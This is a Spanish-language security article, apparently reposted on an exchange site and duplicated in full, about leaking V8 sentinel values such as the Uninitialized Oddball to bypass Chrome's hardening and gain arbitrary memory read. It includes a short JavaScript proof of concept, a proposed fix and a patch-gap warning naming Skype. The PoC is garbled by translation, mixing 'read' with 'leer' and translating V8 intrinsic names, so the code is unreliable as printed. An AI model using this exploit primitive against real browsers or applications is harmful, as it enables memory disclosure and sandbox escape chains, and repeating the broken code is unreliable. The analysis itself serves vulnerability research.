Análisis del Valor Sentinel en el motor V8 de Google Chrome y sus riesgos de seguridad
El valor centinela es un valor especial en los algoritmos, que se usa comúnmente como condición de terminación en bucles o recursiones. El código fuente de Chrome contiene múltiples valores centinela, algunos de los cuales, si se filtraran al entorno de JavaScript, podrían causar problemas de seguridad. Este artículo explorará métodos para eludir el mecanismo HardenProtect de Chrome V8 utilizando el objeto Uninitialized Oddball filtrado.
Valor centinela en V8
El archivo roots.h del código fuente de V8 define una gran cantidad de objetos nativos que están dispuestos secuencialmente en la memoria. Si estos objetos nativos que no deberían ser expuestos a JavaScript se filtran, podría resultar en una fuga de la sandbox. La filtración del objeto TheHole en el pasado es un caso típico.
Para verificar el problema en la última versión V8, se puede modificar la función %TheHole() para que devuelva un objeto Uninitialized Oddball:
javascript
print(%DebugPrint(%TheHole()));
// Salida: Valor no inicializado
Eludir la protección HardenType
Utilizando Uninitialized Oddball se puede construir el siguiente código PoC para lograr lectura arbitraria:
javascript
function read(obj, idx) {
return obj[idx];
}
let uninitialized = %TheHole();
let arr = [1.1];
%PrepararFunciónParaOptimización(leer);
read(arr, 0);
read(arr, 0);
%OptimizeFunctionOnNextCall(leer);
read(arr, 0);
print(leer(no inicializado, 0x1234n));
La función read optimizada mediante desensamblado muestra que no verifica estrictamente el tipo de valor de obj.prop, calcula el desplazamiento directamente según la semántica de JavaScript y devuelve elementos de matriz, lo que causa confusión de tipos y permite la lectura arbitraria.
La solución recomendada es agregar una verificación del mapa del arreglo al devolver elementos del arreglo en la función optimizada, evitando calcular directamente el valor de retorno del desplazamiento.
Aviso de riesgo de PatchGap
El análisis ha descubierto que algunos software como Skype pueden tener problemas de PatchGap, y aún no se ha solucionado esta vulnerabilidad. Los hackers pueden aprovechar esta vulnerabilidad para completar una cadena de explotación en un corto período de tiempo.
Además, después de que se hicieran públicas nuevas técnicas de evasión, la dificultad de explotación de algunas vulnerabilidades históricas (, como Issue1314616 e Issue1216437), se ha reducido drásticamente. Se recomienda que los proveedores reevaluen los riesgos de seguridad asociados a estas vulnerabilidades.
Resumen
En V8 hay muchos otros valores Sentinel que valen la pena investigar más a fondo. Se sugiere considerar la inclusión de %TheHole/Uninitialized_Oddball como variables en el Fuzzer para descubrir nuevos primitivas de explotación. Independientemente de si este tipo de problemas se clasifica formalmente como un problema de seguridad, podría acortar significativamente el ciclo completo de explotación de los hackers.
Esta página puede contener contenido de terceros, que se proporciona únicamente con fines informativos (sin garantías ni declaraciones) y no debe considerarse como un respaldo por parte de Gate a las opiniones expresadas ni como asesoramiento financiero o profesional. Consulte el Descargo de responsabilidad para obtener más detalles.
Análisis y explotación de vulnerabilidades de seguridad de Sentinel Value del motor Chrome V8
Análisis del Valor Sentinel en el motor V8 de Google Chrome y sus riesgos de seguridad
El valor centinela es un valor especial en los algoritmos, que se usa comúnmente como condición de terminación en bucles o recursiones. El código fuente de Chrome contiene múltiples valores centinela, algunos de los cuales, si se filtraran al entorno de JavaScript, podrían causar problemas de seguridad. Este artículo explorará métodos para eludir el mecanismo HardenProtect de Chrome V8 utilizando el objeto Uninitialized Oddball filtrado.
Valor centinela en V8
El archivo roots.h del código fuente de V8 define una gran cantidad de objetos nativos que están dispuestos secuencialmente en la memoria. Si estos objetos nativos que no deberían ser expuestos a JavaScript se filtran, podría resultar en una fuga de la sandbox. La filtración del objeto TheHole en el pasado es un caso típico.
Para verificar el problema en la última versión V8, se puede modificar la función %TheHole() para que devuelva un objeto Uninitialized Oddball:
javascript print(%DebugPrint(%TheHole())); // Salida: Valor no inicializado
Eludir la protección HardenType
Utilizando Uninitialized Oddball se puede construir el siguiente código PoC para lograr lectura arbitraria:
javascript function read(obj, idx) { return obj[idx]; }
let uninitialized = %TheHole(); let arr = [1.1]; %PrepararFunciónParaOptimización(leer); read(arr, 0); read(arr, 0); %OptimizeFunctionOnNextCall(leer); read(arr, 0);
print(leer(no inicializado, 0x1234n));
La función read optimizada mediante desensamblado muestra que no verifica estrictamente el tipo de valor de obj.prop, calcula el desplazamiento directamente según la semántica de JavaScript y devuelve elementos de matriz, lo que causa confusión de tipos y permite la lectura arbitraria.
La solución recomendada es agregar una verificación del mapa del arreglo al devolver elementos del arreglo en la función optimizada, evitando calcular directamente el valor de retorno del desplazamiento.
Aviso de riesgo de PatchGap
El análisis ha descubierto que algunos software como Skype pueden tener problemas de PatchGap, y aún no se ha solucionado esta vulnerabilidad. Los hackers pueden aprovechar esta vulnerabilidad para completar una cadena de explotación en un corto período de tiempo.
Además, después de que se hicieran públicas nuevas técnicas de evasión, la dificultad de explotación de algunas vulnerabilidades históricas (, como Issue1314616 e Issue1216437), se ha reducido drásticamente. Se recomienda que los proveedores reevaluen los riesgos de seguridad asociados a estas vulnerabilidades.
Resumen
En V8 hay muchos otros valores Sentinel que valen la pena investigar más a fondo. Se sugiere considerar la inclusión de %TheHole/Uninitialized_Oddball como variables en el Fuzzer para descubrir nuevos primitivas de explotación. Independientemente de si este tipo de problemas se clasifica formalmente como un problema de seguridad, podría acortar significativamente el ciclo completo de explotación de los hackers.